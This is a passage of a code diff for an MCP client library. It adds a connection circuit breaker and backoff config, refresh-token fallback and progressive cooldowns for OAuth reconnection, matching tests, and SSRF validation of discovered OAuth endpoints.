-            logger.info(`${this.getLogPrefix()} Message received: ${JSON.stringify(message)}`);
-          };
-
           this.setupTransportErrorHandlers(transport);
           return transport;
         }
@@ -637,6 +780,12 @@ export class MCPConnection extends EventEmitter {
       return;
     }
 
+    if (this.isCircuitOpen()) {
+      this.connectionState = 'error';
+      this.emit('connectionChange', 'error');
+      throw new Error(`${this.getLogPrefix()} Circuit breaker is open, connection attempt blocked`);
+    }
+
     this.emit('connectionChange', 'connecting');
 
     this.connectPromise = (async () => {
@@ -644,25 +793,37 @@ export class MCPConnection extends EventEmitter {
         if (this.transport) {
           try {
             await this.client.close();
-            this.transport = null;
           } catch (error) {
             logger.warn(`${this.getLogPrefix()} Error closing connection:`, error);
           }
+          this.transport = null;
+          await this.closeAgents();
         }
 
-        this.transport = await this.constructTransport(this.options);
-        this.setupTransportDebugHandlers();
+        this.transport = await runOutsideTracing(() => this.constructTransport(this.options));
+        this.patchTransportSend();
 
-        const connectTimeout = this.options.initTimeout ?? 120000;
-        await withTimeout(
-          this.client.connect(this.transport),
-          connectTimeout,
-          `Connection timeout after ${connectTimeout}ms`,
+        const connectTimeout = this.options.initTimeout ?? DEFAULT_INIT_TIMEOUT;
+        await runOutsideTracing(() =>
+          withTimeout(
+            this.client.connect(this.transport!),
+            connectTimeout,
+            `Connection timeout after ${connectTimeout}ms`,
+          ),
         );
 
+        this.setupTransportOnMessageHandler();
         this.connectionState = 'connected';
         this.emit('connectionChange', 'connected');
         this.reconnectAttempts = 0;
+        this.resetFailedRounds();
+        if (this.oauthRecovery) {
+          MCPConnection.decrementCycleCount(this.serverName);
+          this.oauthRecovery = false;
+          logger.debug(
+            `${this.getLogPrefix()} OAuth recovery: decremented cycle count after successful reconnect`,
+          );
+        }
       } catch (error) {
         // Check if it's a rate limit error - stop immediately to avoid making it worse
         if (this.isRateLimitError(error)) {
@@ -746,9 +907,8 @@ export class MCPConnection extends EventEmitter {
           try {
             // Wait for OAuth to be handled
             await oauthHandledPromise;
-            // Reset the oauthRequired flag
             this.oauthRequired = false;
-            // Don't throw the error - just return so connection can be retried
+            this.oauthRecovery = true;
             logger.info(
               `${this.getLogPrefix()} OAuth handled successfully, connection will be retried`,
             );
@@ -764,6 +924,7 @@ export class MCPConnection extends EventEmitter {
 
         this.connectionState = 'error';
         this.emit('connectionChange', 'error');
+        this.recordFailedRound();
         throw error;
       } finally {
         this.connectPromise = null;
@@ -773,15 +934,11 @@ export class MCPConnection extends EventEmitter {
     return this.connectPromise;
   }
 
-  private setupTransportDebugHandlers(): void {
+  private patchTransportSend(): void {
     if (!this.transport) {
       return;
     }
 
-    this.transport.onmessage = (msg) => {
-      logger.debug(`${this.getLogPrefix()} Transport received: ${JSON.stringify(msg)}`);
-    };
-
     const originalSend = this.transport.send.bind(this.transport);
     this.transport.send = async (msg) => {
       if ('result' in msg && !('method' in msg) && Object.keys(msg.result ?? {}).length === 0) {
@@ -790,14 +947,35 @@ export class MCPConnection extends EventEmitter {
         }
         this.lastPingTime = Date.now();
       }
-      logger.debug(`${this.getLogPrefix()} Transport sending: ${JSON.stringify(msg)}`);
+      const method = 'method' in msg ? msg.method : undefined;
+      const id = 'id' in msg ? (msg as { id: string | number | null }).id : undefined;
+      logger.debug(
+        `${this.getLogPrefix()} Transport sending: method=${method ?? 'response'} id=${id ?? 'none'}`,
+      );
       return originalSend(msg);
     };
   }
 
+  private setupTransportOnMessageHandler(): void {
+    if (!this.transport?.onmessage) {
+      return;
+    }
+
+    const sdkHandler = this.transport.onmessage;
+    this.transport.onmessage = (msg) => {
+      const method = 'method' in msg ? msg.method : undefined;
+      const id = 'id' in msg ? (msg as { id: string | number | null }).id : undefined;
+      logger.debug(
+        `${this.getLogPrefix()} Transport received: method=${method ?? 'response'} id=${id ?? 'none'}`,
+      );
+      sdkHandler(msg);
+    };
+  }
+
   async connect(): Promise<void> {
     try {
-      await this.disconnect();
+      // preserve cycle tracking across reconnects so the circuit breaker can detect rapid cycling
+      await this.disconnect(false);
       await this.connectClient();
       if (!(await this.isConnected())) {
         throw new Error('Connection not established');
@@ -810,7 +988,26 @@ export class MCPConnection extends EventEmitter {
 
   private setupTransportErrorHandlers(transport: Transport): void {
     transport.onerror = (error) => {
-      // Extract meaningful error information (handles "SSE error: undefined" cases)
+      const rawMessage =
+        error && typeof error === 'object' ? ((error as { message?: string }).message ?? '') : '';
+
+      /**
+       * The MCP SDK's StreamableHTTPClientTransport fires onerror for SSE GET stream
+       * disconnects but also handles reconnection internally via _scheduleReconnection.
+       * Escalating these to a full transport rebuild creates a redundant reconnection
+       * loop. Log at debug level and let the SDK recover the GET stream on its own.
+       *
+       * "Maximum reconnection attempts … exceeded" means the SDK gave up — that one
+       * must fall through so our higher-level reconnection takes over.
+       */
+      if (
+        rawMessage.startsWith(SDK_SSE_STREAM_DISCONNECTED) ||
+        rawMessage.startsWith(SDK_SSE_RECONNECT_FAILED)
+      ) {
+        logger.debug(`${this.getLogPrefix()} SDK SSE stream recovery in progress: ${rawMessage}`);
+        return;
+      }
+
       const {
         message: errorMessage,
         code: errorCode,
@@ -818,10 +1015,24 @@ export class MCPConnection extends EventEmitter {
         isTransient,
       } = extractSSEErrorMessage(error);
 
-      // Ignore SSE 404 errors for servers that don't support SSE
-      if (errorCode === 404 && errorMessage.toLowerCase().includes('failed to open sse stream')) {
-        logger.warn(`${this.getLogPrefix()} SSE stream not available (404). Ignoring.`);
-        return;
+      if (errorCode === 400 || errorCode === 404 || errorCode === 405) {
+        const hasSession =
+          'sessionId' in transport &&
+          (transport as { sessionId?: string }).sessionId != null &&
+          (transport as { sessionId?: string }).sessionId !== '';
+
+        if (!hasSession && errorMessage.toLowerCase().includes('failed to open sse stream')) {
+          logger.warn(
+            `${this.getLogPrefix()} SSE stream not available (${errorCode}), no session. Ignoring.`,
+          );
+          return;
+        }
+
+        if (hasSession) {
+          logger.warn(
+            `${this.getLogPrefix()} ${errorCode} with active session — session lost, triggering reconnection.`,
+          );
+        }
       }
 
       // Check if it's an OAuth authentication error
@@ -879,12 +1090,24 @@ export class MCPConnection extends EventEmitter {
     };
   }
 
-  public async disconnect(): Promise<void> {
+  private async closeAgents(): Promise<void> {
+    const logPrefix = this.getLogPrefix();
+    const closing = this.agents.map((agent) =>
+      agent.close().catch((err: unknown) => {
+        logger.debug(`${logPrefix} Agent close error (non-fatal):`, err);
+      }),
+    );
+    this.agents = [];
+    await Promise.all(closing);
+  }
+
+  public async disconnect(resetCycleTracking = true): Promise<void> {
     try {
       if (this.transport) {
         await this.client.close();
         this.transport = null;
       }
+      await this.closeAgents();
       if (this.connectionState === 'disconnected') {
         return;
       }
@@ -892,6 +1115,9 @@ export class MCPConnection extends EventEmitter {
       this.emit('connectionChange', 'disconnected');
     } finally {
       this.connectPromise = null;
+      if (!resetCycleTracking) {
+        this.recordCycle();
+      }
     }
   }
 
diff --git a/packages/api/src/mcp/mcpConfig.ts b/packages/api/src/mcp/mcpConfig.ts
index f3efd3592b..a81752e909 100644
--- a/packages/api/src/mcp/mcpConfig.ts
+++ b/packages/api/src/mcp/mcpConfig.ts
@@ -12,4 +12,18 @@ export const mcpConfig = {
   USER_CONNECTION_IDLE_TIMEOUT: math(
     process.env.MCP_USER_CONNECTION_IDLE_TIMEOUT ?? 15 * 60 * 1000,
   ),
+  /** Max connect/disconnect cycles before the circuit breaker trips. Default: 7 */
+  CB_MAX_CYCLES: math(process.env.MCP_CB_MAX_CYCLES ?? 7),
+  /** Sliding window (ms) for counting cycles. Default: 45s */
+  CB_CYCLE_WINDOW_MS: math(process.env.MCP_CB_CYCLE_WINDOW_MS ?? 45_000),
+  /** Cooldown (ms) after the cycle breaker trips. Default: 15s */
+  CB_CYCLE_COOLDOWN_MS: math(process.env.MCP_CB_CYCLE_COOLDOWN_MS ?? 15_000),
+  /** Max consecutive failed connection rounds before backoff. Default: 3 */
+  CB_MAX_FAILED_ROUNDS: math(process.env.MCP_CB_MAX_FAILED_ROUNDS ?? 3),
+  /** Sliding window (ms) for counting failed rounds. Default: 120s */
+  CB_FAILED_WINDOW_MS: math(process.env.MCP_CB_FAILED_WINDOW_MS ?? 120_000),
+  /** Base backoff (ms) after failed round threshold is reached. Default: 30s */
+  CB_BASE_BACKOFF_MS: math(process.env.MCP_CB_BASE_BACKOFF_MS ?? 30_000),
+  /** Max backoff cap (ms) for exponential backoff. Default: 300s */
+  CB_MAX_BACKOFF_MS: math(process.env.MCP_CB_MAX_BACKOFF_MS ?? 300_000),
 };
diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts b/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts
index d3447eaeb8..d889da4f2f 100644
--- a/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts
+++ b/packages/api/src/mcp/oauth/OAuthReconnectionManager.test.ts
@@ -253,17 +253,21 @@ describe('OAuthReconnectionManager', () => {
       expect(mockMCPManager.disconnectUserConnection).toHaveBeenCalledWith(userId, 'server1');
     });
 
-    it('should not reconnect servers with expired tokens', async () => {
+    it('should not reconnect servers with expired tokens and no refresh token', async () => {
       const userId = 'user-123';
       const oauthServers = new Set(['server1']);
       (mockRegistryInstance.getOAuthServers as jest.Mock).mockResolvedValue(oauthServers);
 
-      // server1: has expired token
-      tokenMethods.findToken.mockResolvedValue({
-        userId,
-        identifier: 'mcp:server1',
-        expiresAt: new Date(Date.now() - 3600000), // 1 hour ago
-      } as unknown as MCPOAuthTokens);
+      tokenMethods.findToken.mockImplementation(async ({ identifier }) => {
+        if (identifier === 'mcp:server1') {
+          return {
+            userId,
+            identifier,
+            expiresAt: new Date(Date.now() - 3600000),
+          } as unknown as MCPOAuthTokens;
+        }
+        return null;
+      });
 
       await reconnectionManager.reconnectServers(userId);
 
@@ -272,6 +276,87 @@ describe('OAuthReconnectionManager', () => {
       expect(mockMCPManager.getUserConnection).not.toHaveBeenCalled();
     });
 
+    it('should reconnect servers with expired access token but valid refresh token', async () => {
+      const userId = 'user-123';
+      const oauthServers = new Set(['server1']);
+      (mockRegistryInstance.getOAuthServers as jest.Mock).mockResolvedValue(oauthServers);
+
+      tokenMethods.findToken.mockImplementation(async ({ identifier }) => {
+        if (identifier === 'mcp:server1') {
+          return {
+            userId,
+            identifier,
+            expiresAt: new Date(Date.now() - 3600000),
+          } as unknown as MCPOAuthTokens;
+        }
+        if (identifier === 'mcp:server1:refresh') {
+          return {
+            userId,
+            identifier,
+          } as unknown as MCPOAuthTokens;
+        }
+        return null;
+      });
+
+      const mockNewConnection = {
+        isConnected: jest.fn().mockResolvedValue(true),
+        disconnect: jest.fn(),
+      };
+      mockMCPManager.getUserConnection.mockResolvedValue(
+        mockNewConnection as unknown as MCPConnection,
+      );
+      (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(
+        {} as unknown as MCPOptions,
+      );
+
+      await reconnectionManager.reconnectServers(userId);
+
+      expect(reconnectionTracker.isActive(userId, 'server1')).toBe(true);
+
+      await new Promise((resolve) => setTimeout(resolve, 100));
+
+      expect(mockMCPManager.getUserConnection).toHaveBeenCalledWith(
+        expect.objectContaining({ serverName: 'server1' }),
+      );
+    });
+
+    it('should reconnect when access token is TTL-deleted but refresh token exists', async () => {
+      const userId = 'user-123';
+      const oauthServers = new Set(['server1']);
+      (mockRegistryInstance.getOAuthServers as jest.Mock).mockResolvedValue(oauthServers);
+
+      tokenMethods.findToken.mockImplementation(async ({ identifier }) => {
+        if (identifier === 'mcp:server1:refresh') {
+          return {
+            userId,
+            identifier,
+          } as unknown as MCPOAuthTokens;
+        }
+        return null;
+      });
+
+      const mockNewConnection = {
+        isConnected: jest.fn().mockResolvedValue(true),
+        disconnect: jest.fn(),
+      };
+      mockMCPManager.getUserConnection.mockResolvedValue(
+        mockNewConnection as unknown as MCPConnection,
+      );
+      (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(
+        {} as unknown as MCPOptions,
+      );
+
+      await reconnectionManager.reconnectServers(userId);
+
+      expect(reconnectionTracker.isActive(userId, 'server1')).toBe(true);
+
+      await new Promise((resolve) => setTimeout(resolve, 100));
+
+      expect(mockMCPManager.getUserConnection).toHaveBeenCalledWith(
+        expect.objectContaining({ serverName: 'server1' }),
+      );
+    });
+
     it('should handle connection that returns but is not connected', async () => {
       const userId = 'user-123';
       const oauthServers = new Set(['server1']);
@@ -336,6 +421,69 @@ describe('OAuthReconnectionManager', () => {
     });
   });
 
+  describe('reconnectServer', () => {
+    let reconnectionTracker: OAuthReconnectionTracker;
+    beforeEach(async () => {
+      reconnectionTracker = new OAuthReconnectionTracker();
+      reconnectionManager = await OAuthReconnectionManager.createInstance(
+        flowManager,
+        tokenMethods,
+        reconnectionTracker,
+      );
+    });
+
+    it('should return true on successful reconnection', async () => {
+      const userId = 'user-123';
+      const serverName = 'server1';
+
+      const mockConnection = {
+        isConnected: jest.fn().mockResolvedValue(true),
+        disconnect: jest.fn(),
+      };
+      mockMCPManager.getUserConnection.mockResolvedValue(
+        mockConnection as unknown as MCPConnection,
+      );
+      (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(
+        {} as unknown as MCPOptions,
+      );
+
+      const result = await reconnectionManager.reconnectServer(userId, serverName);
+      expect(result).toBe(true);
+    });
+
+    it('should return false on failed reconnection', async () => {
+      const userId = 'user-123';
+      const serverName = 'server1';
+
+      mockMCPManager.getUserConnection.mockRejectedValue(new Error('Connection failed'));
+      (mockRegistryInstance.getServerConfig as jest.Mock).mockResolvedValue(
+        {} as unknown as MCPOptions,
+      );
+
+      const result = await reconnectionManager.reconnectServer(userId, serverName);
+      expect(result).toBe(false);
+    });
+
+    it('should return false when MCPManager is not available', async () => {
+      const userId = 'user-123';
+      const serverName = 'server1';
+
+      (OAuthReconnectionManager as unknown as { instance: null }).instance = null;
+      (MCPManager.getInstance as jest.Mock).mockImplementation(() => {
+        throw new Error('MCPManager has not been initialized.');
+      });
+
+      const managerWithoutMCP = await OAuthReconnectionManager.createInstance(
+        flowManager,
+        tokenMethods,
+        reconnectionTracker,
+      );
+
+      const result = await managerWithoutMCP.reconnectServer(userId, serverName);
+      expect(result).toBe(false);
+    });
+  });
+
   describe('reconnection staggering', () => {
     let reconnectionTracker: OAuthReconnectionTracker;
 
diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts b/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts
index ca9ce5c71f..7afe992772 100644
--- a/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts
+++ b/packages/api/src/mcp/oauth/OAuthReconnectionManager.ts
@@ -96,6 +96,24 @@ export class OAuthReconnectionManager {
     }
   }
 
+  /**
+   * Attempts to reconnect a single OAuth MCP server.
+   * @returns true if reconnection succeeded, false otherwise.
+   */
+  public async reconnectServer(userId: string, serverName: string): Promise<boolean> {
+    if (this.mcpManager == null) {
+      return false;
+    }
+
+    this.reconnectionsTracker.setActive(userId, serverName);
+    try {
+      await this.tryReconnect(userId, serverName);
+      return !this.reconnectionsTracker.isFailed(userId, serverName);
+    } catch {
+      return false;
+    }
+  }
+
   public clearReconnection(userId: string, serverName: string) {
     this.reconnectionsTracker.removeFailed(userId, serverName);
     this.reconnectionsTracker.removeActive(userId, serverName);
@@ -147,6 +165,10 @@ export class OAuthReconnectionManager {
     }
   }
 
+  public getTrackerStats() {
+    return this.reconnectionsTracker.getStats();
+  }
+
   private async canReconnect(userId: string, serverName: string) {
     if (this.mcpManager == null) {
       return false;
@@ -170,23 +192,31 @@ export class OAuthReconnectionManager {
       }
     }
 
-    // if the server has no tokens for the user, don't attempt to reconnect
+    // if the server has a valid (non-expired) access token, allow reconnect
     const accessToken = await this.tokenMethods.findToken({
       userId,
       type: 'mcp_oauth',
       identifier: `mcp:${serverName}`,
     });
-    if (accessToken == null) {
+
+    if (accessToken != null) {
+      const now = new Date();
+      if (!accessToken.expiresAt || accessToken.expiresAt >= now) {
+        return true;
+      }
+    }
+
+    // if the access token is expired or TTL-deleted, fall back to refresh token
+    const refreshToken = await this.tokenMethods.findToken({
+      userId,
+      type: 'mcp_oauth',
+      identifier: `mcp:${serverName}:refresh`,
+    });
+
+    if (refreshToken == null) {
       return false;
     }
 
-    // if the token has expired, don't attempt to reconnect
-    const now = new Date();
-    if (accessToken.expiresAt && accessToken.expiresAt < now) {
-      return false;
-    }
-
-    // …otherwise, we're good to go with the reconnect attempt
     return true;
   }
 }
diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts
index 68ac1d027e..206fe96ef1 100644
--- a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts
+++ b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.test.ts
@@ -397,6 +397,101 @@ describe('OAuthReconnectTracker', () => {
     });
   });
 
+  describe('cooldown-based retry', () => {
+    beforeEach(() => {
+      jest.useFakeTimers();
+    });
+
+    afterEach(() => {
+      jest.useRealTimers();
+    });
+
+    it('should return true from isFailed within first cooldown period (5 min)', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      tracker.setFailed(userId, serverName);
+      expect(tracker.isFailed(userId, serverName)).toBe(true);
+
+      jest.advanceTimersByTime(4 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(true);
+    });
+
+    it('should return false from isFailed after first cooldown elapses (5 min)', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      tracker.setFailed(userId, serverName);
+      expect(tracker.isFailed(userId, serverName)).toBe(true);
+
+      jest.advanceTimersByTime(5 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+    });
+
+    it('should use progressive cooldown schedule (5m, 10m, 20m, 30m)', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      // First failure: 5 min cooldown
+      tracker.setFailed(userId, serverName);
+      jest.advanceTimersByTime(5 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+
+      // Second failure: 10 min cooldown
+      tracker.setFailed(userId, serverName);
+      jest.advanceTimersByTime(9 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(true);
+      jest.advanceTimersByTime(1 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+
+      // Third failure: 20 min cooldown
+      tracker.setFailed(userId, serverName);
+      jest.advanceTimersByTime(19 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(true);
+      jest.advanceTimersByTime(1 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+
+      // Fourth failure: 30 min cooldown
+      tracker.setFailed(userId, serverName);
+      jest.advanceTimersByTime(29 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(true);
+      jest.advanceTimersByTime(1 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+    });
+
+    it('should cap cooldown at 30 min for attempts beyond 4', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      for (let i = 0; i < 5; i++) {
+        tracker.setFailed(userId, serverName);
+        jest.advanceTimersByTime(30 * 60 * 1000);
+      }
+
+      tracker.setFailed(userId, serverName);
+      jest.advanceTimersByTime(29 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(true);
+      jest.advanceTimersByTime(1 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+    });
+
+    it('should fully reset metadata on removeFailed', () => {
+      const now = Date.now();
+      jest.setSystemTime(now);
+
+      tracker.setFailed(userId, serverName);
+      tracker.setFailed(userId, serverName);
+      tracker.setFailed(userId, serverName);
+
+      tracker.removeFailed(userId, serverName);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+
+      tracker.setFailed(userId, serverName);
+      jest.advanceTimersByTime(5 * 60 * 1000);
+      expect(tracker.isFailed(userId, serverName)).toBe(false);
+    });
+  });
+
   describe('timestamp tracking edge cases', () => {
     beforeEach(() => {
       jest.useFakeTimers();
diff --git a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts
index b65f8ad115..504ea7d43a 100644
--- a/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts
+++ b/packages/api/src/mcp/oauth/OAuthReconnectionTracker.ts
@@ -1,6 +1,12 @@
+interface FailedMeta {
+  attempts: number;
+  lastFailedAt: number;
+}
+
+const COOLDOWN_SCHEDULE_MS = [5 * 60 * 1000, 10 * 60 * 1000, 20 * 60 * 1000, 30 * 60 * 1000];
+
 export class OAuthReconnectionTracker {
-  /** Map of userId -> Set of serverNames that have failed reconnection */
-  private failed: Map<string, Set<string>> = new Map();
+  private failedMeta: Map<string, Map<string, FailedMeta>> = new Map();
   /** Map of userId -> Set of serverNames that are actively reconnecting */
   private active: Map<string, Set<string>> = new Map();
   /** Map of userId:serverName -> timestamp when reconnection started */
@@ -9,7 +15,17 @@ export class OAuthReconnectionTracker {
   private readonly RECONNECTION_TIMEOUT_MS = 3 * 60 * 1000; // 3 minutes
 
   public isFailed(userId: string, serverName: string): boolean {
-    return this.failed.get(userId)?.has(serverName) ?? false;
+    const meta = this.failedMeta.get(userId)?.get(serverName);
+    if (!meta) {
+      return false;
+    }
+    const idx = Math.min(meta.attempts - 1, COOLDOWN_SCHEDULE_MS.length - 1);
+    const cooldown = COOLDOWN_SCHEDULE_MS[idx];
+    const elapsed = Date.now() - meta.lastFailedAt;
+    if (elapsed >= cooldown) {
+      return false;
+    }
+    return true;
   }
 
   /** Check if server is in the active set (original simple check) */
@@ -48,11 +64,15 @@ export class OAuthReconnectionTracker {
   }
 
   public setFailed(userId: string, serverName: string): void {
-    if (!this.failed.has(userId)) {
-      this.failed.set(userId, new Set());
+    if (!this.failedMeta.has(userId)) {
+      this.failedMeta.set(userId, new Map());
     }
-
-    this.failed.get(userId)?.add(serverName);
+    const userMap = this.failedMeta.get(userId)!;
+    const existing = userMap.get(serverName);
+    userMap.set(serverName, {
+      attempts: (existing?.attempts ?? 0) + 1,
+      lastFailedAt: Date.now(),
+    });
   }
 
   public setActive(userId: string, serverName: string): void {
@@ -68,10 +88,10 @@ export class OAuthReconnectionTracker {
   }
 
   public removeFailed(userId: string, serverName: string): void {
-    const userServers = this.failed.get(userId);
-    userServers?.delete(serverName);
-    if (userServers?.size === 0) {
-      this.failed.delete(userId);
+    const userMap = this.failedMeta.get(userId);
+    userMap?.delete(serverName);
+    if (userMap?.size === 0) {
+      this.failedMeta.delete(userId);
     }
   }
 
@@ -86,4 +106,17 @@ export class OAuthReconnectionTracker {
     const key = `${userId}:${serverName}`;
     this.activeTimestamps.delete(key);
   }
+
+  /** Returns map sizes for diagnostics */
+  public getStats(): {
+    usersWithFailedServers: number;
+    usersWithActiveReconnections: number;
+    activeTimestamps: number;
+  } {
+    return {
+      usersWithFailedServers: this.failedMeta.size,
+      usersWithActiveReconnections: this.active.size,
+      activeTimestamps: this.activeTimestamps.size,
+    };
+  }
 }
diff --git a/packages/api/src/mcp/oauth/handler.ts b/packages/api/src/mcp/oauth/handler.ts
index c07918c591..8d863bfe79 100644
--- a/packages/api/src/mcp/oauth/handler.ts
+++ b/packages/api/src/mcp/oauth/handler.ts
@@ -18,6 +18,13 @@ import type {
   MCPOAuthTokens,
   OAuthMetadata,
 } from './types';
+import {
+  resolveTokenEndpointAuthMethod,
+  getForcedTokenEndpointAuthMethod,
+  selectRegistrationAuthMethod,
+  inferClientAuthMethod,
+} from './methods';
+import { isSSRFTarget, resolveHostnameSSRF } from '~/auth';
 import { sanitizeUrlForLogging } from '~/mcp/utils';
 
 /** Type for the OAuth metadata from the SDK */
@@ -27,39 +34,6 @@ export class MCPOAuthHandler {
   private static readonly FLOW_TYPE = 'mcp_oauth';
   private static readonly FLOW_TTL = 10 * 60 * 1000; // 10 minutes
 
-  private static getForcedTokenEndpointAuthMethod(
-    tokenExchangeMethod?: TokenExchangeMethodEnum,
-  ): 'client_secret_basic' | 'client_secret_post' | undefined {
-    if (tokenExchangeMethod === TokenExchangeMethodEnum.DefaultPost) {
-      return 'client_secret_post';
-    }
-    if (tokenExchangeMethod === TokenExchangeMethodEnum.BasicAuthHeader) {
-      return 'client_secret_basic';
-    }
-    return undefined;
-  }
-
-  private static resolveTokenEndpointAuthMethod(options: {
-    tokenExchangeMethod?: TokenExchangeMethodEnum;
-    tokenAuthMethods: string[];
-    preferredMethod?: string;
-  }): 'client_secret_basic' | 'client_secret_post' | undefined {
-    const forcedMethod = this.getForcedTokenEndpointAuthMethod(options.tokenExchangeMethod);
-    const preferredMethod = forcedMethod ?? options.preferredMethod;
-
-    if (preferredMethod === 'client_secret_basic' || preferredMethod === 'client_secret_post') {
-      return preferredMethod;
-    }
-
-    if (options.tokenAuthMethods.includes('client_secret_basic')) {
-      return 'client_secret_basic';
-    }
-    if (options.tokenAuthMethods.includes('client_secret_post')) {
-      return 'client_secret_post';
-    }
-    return undefined;
-  }
-
   /**
    * Creates a fetch function with custom headers injected
    */
@@ -95,19 +69,14 @@ export class MCPOAuthHandler {
         newHeaders.set('Content-Type', 'application/x-www-form-urlencoded');
 
         if (clientInfo?.client_id) {
-          let authMethod = clientInfo.token_endpoint_auth_method;
-
-          if (!authMethod) {
-            if (newHeaders.has('Authorization')) {
-              authMethod = 'client_secret_basic';
-            } else if (params.has('client_id') || params.has('client_secret')) {
-              authMethod = 'client_secret_post';
-            } else if (clientInfo.client_secret) {
-              authMethod = 'client_secret_post';
-            } else {
-              authMethod = 'none';
-            }
-          }
+          const authMethod =
+            clientInfo.token_endpoint_auth_method ??
+            inferClientAuthMethod(
+              newHeaders.has('Authorization'),
+              params.has('client_id'),
+              params.has('client_secret'),
+              !!clientInfo.client_secret,
+            );
 
           if (!clientInfo.client_secret || authMethod === 'none') {
             newHeaders.delete('Authorization');
@@ -123,6 +92,9 @@ export class MCPOAuthHandler {
               params.set('client_secret', clientInfo.client_secret);
             }
           } else if (authMethod === 'client_secret_basic') {
+            /** RFC 6749 §2.3.1: credentials MUST NOT appear in both the header and the body. The SDK defaults to body params, so remove them before setting the Basic header. */
+            params.delete('client_id');
+            params.delete('client_secret');
             if (!newHeaders.has('Authorization')) {
               const clientAuth = Buffer.from(
                 `${clientInfo.client_id}:${clientInfo.client_secret}`,
@@ -173,7 +145,9 @@ export class MCPOAuthHandler {
       resourceMetadata = await discoverOAuthProtectedResourceMetadata(serverUrl, {}, fetchFn);
 
       if (resourceMetadata?.authorization_servers?.length) {
-        authServerUrl = new URL(resourceMetadata.authorization_servers[0]);
+        const discoveredAuthServer = resourceMetadata.authorization_servers[0];
+        await this.validateOAuthUrl(discoveredAuthServer, 'authorization_server');
+        authServerUrl = new URL(discoveredAuthServer);
         logger.debug(
           `[MCPOAuth] Found authorization server from resource metadata: ${authServerUrl}`,
         );
@@ -190,20 +164,7 @@ export class MCPOAuthHandler {
     logger.debug(
       `[MCPOAuth] Discovering OAuth metadata from ${sanitizeUrlForLogging(authServerUrl)}`,
     );
-    let rawMetadata = await discoverAuthorizationServerMetadata(authServerUrl, {
-      fetchFn,
-    });
-
-    // If discovery failed and we're using a path-based URL, try the base URL
-    if (!rawMetadata && authServerUrl.pathname !== '/') {
-      const baseUrl = new URL(authServerUrl.origin);
-      logger.debug(
-        `[MCPOAuth] Discovery failed with path, trying base URL: ${sanitizeUrlForLogging(baseUrl)}`,
-      );
-      rawMetadata = await discoverAuthorizationServerMetadata(baseUrl, {
-        fetchFn,
-      });
-    }
+    const rawMetadata = await this.discoverWithOriginFallback(authServerUrl, fetchFn);
 
     if (!rawMetadata) {
       /**
@@ -242,6 +203,19 @@ export class MCPOAuthHandler {
     logger.debug(`[MCPOAuth] OAuth metadata discovered successfully`);
     const metadata = await OAuthMetadataSchema.parseAsync(rawMetadata);
 
+    const endpointChecks: Promise<void>[] = [];
+    if (metadata.registration_endpoint) {
+      endpointChecks.push(
+        this.validateOAuthUrl(metadata.registration_endpoint, 'registration_endpoint'),
+      );
+    }
+    if (metadata.token_endpoint) {
+      endpointChecks.push(this.validateOAuthUrl(metadata.token_endpoint, 'token_endpoint'));
+    }
+    if (endpointChecks.length > 0) {
+      await Promise.all(endpointChecks);
+    }
+
     logger.debug(`[MCPOAuth] OAuth metadata parsed successfully`);
     return {
       metadata: metadata as unknown as OAuthMetadata,
@@ -250,6 +224,39 @@ export class MCPOAuthHandler {
     };
   }
 
+  /**
+   * Discovers OAuth authorization server metadata, retrying with just the origin
+   * when discovery fails for a path-based URL. Shared implementation used by
+   * `discoverMetadata` and both `refreshOAuthTokens` branches.
+   */
+  private static async discoverWithOriginFallback(
+    serverUrl: URL,
+    fetchFn: FetchLike,
+  ): ReturnType<typeof discoverAuthorizationServerMetadata> {
+    let metadata: Awaited<ReturnType<typeof discoverAuthorizationServerMetadata>>;
+    try {
+      metadata = await discoverAuthorizationServerMetadata(serverUrl, { fetchFn });
+    } catch (err) {
+      if (serverUrl.pathname === '/') {
+        throw err;
+      }
+      const baseUrl = new URL(serverUrl.origin);
+      logger.debug(
+        `[MCPOAuth] Discovery threw for path URL, trying base URL: ${sanitizeUrlForLogging(baseUrl)}`,
+        { error: err },
+      );
+      return discoverAuthorizationServerMetadata(baseUrl, { fetchFn });
+    }
+    if (!metadata && serverUrl.pathname !== '/') {
+      const baseUrl = new URL(serverUrl.origin);
+      logger.debug(
+        `[MCPOAuth] Discovery failed with path, trying base URL: ${sanitizeUrlForLogging(baseUrl)}`,
+      );
+      return discoverAuthorizationServerMetadata(baseUrl, { fetchFn });
+    }
+    return metadata;
+  }
+
   /**
    * Registers an OAuth client dynamically
    */
@@ -300,22 +307,12 @@ export class MCPOAuthHandler {
 
     clientMetadata.response_types = metadata.response_types_supported || ['code'];
 
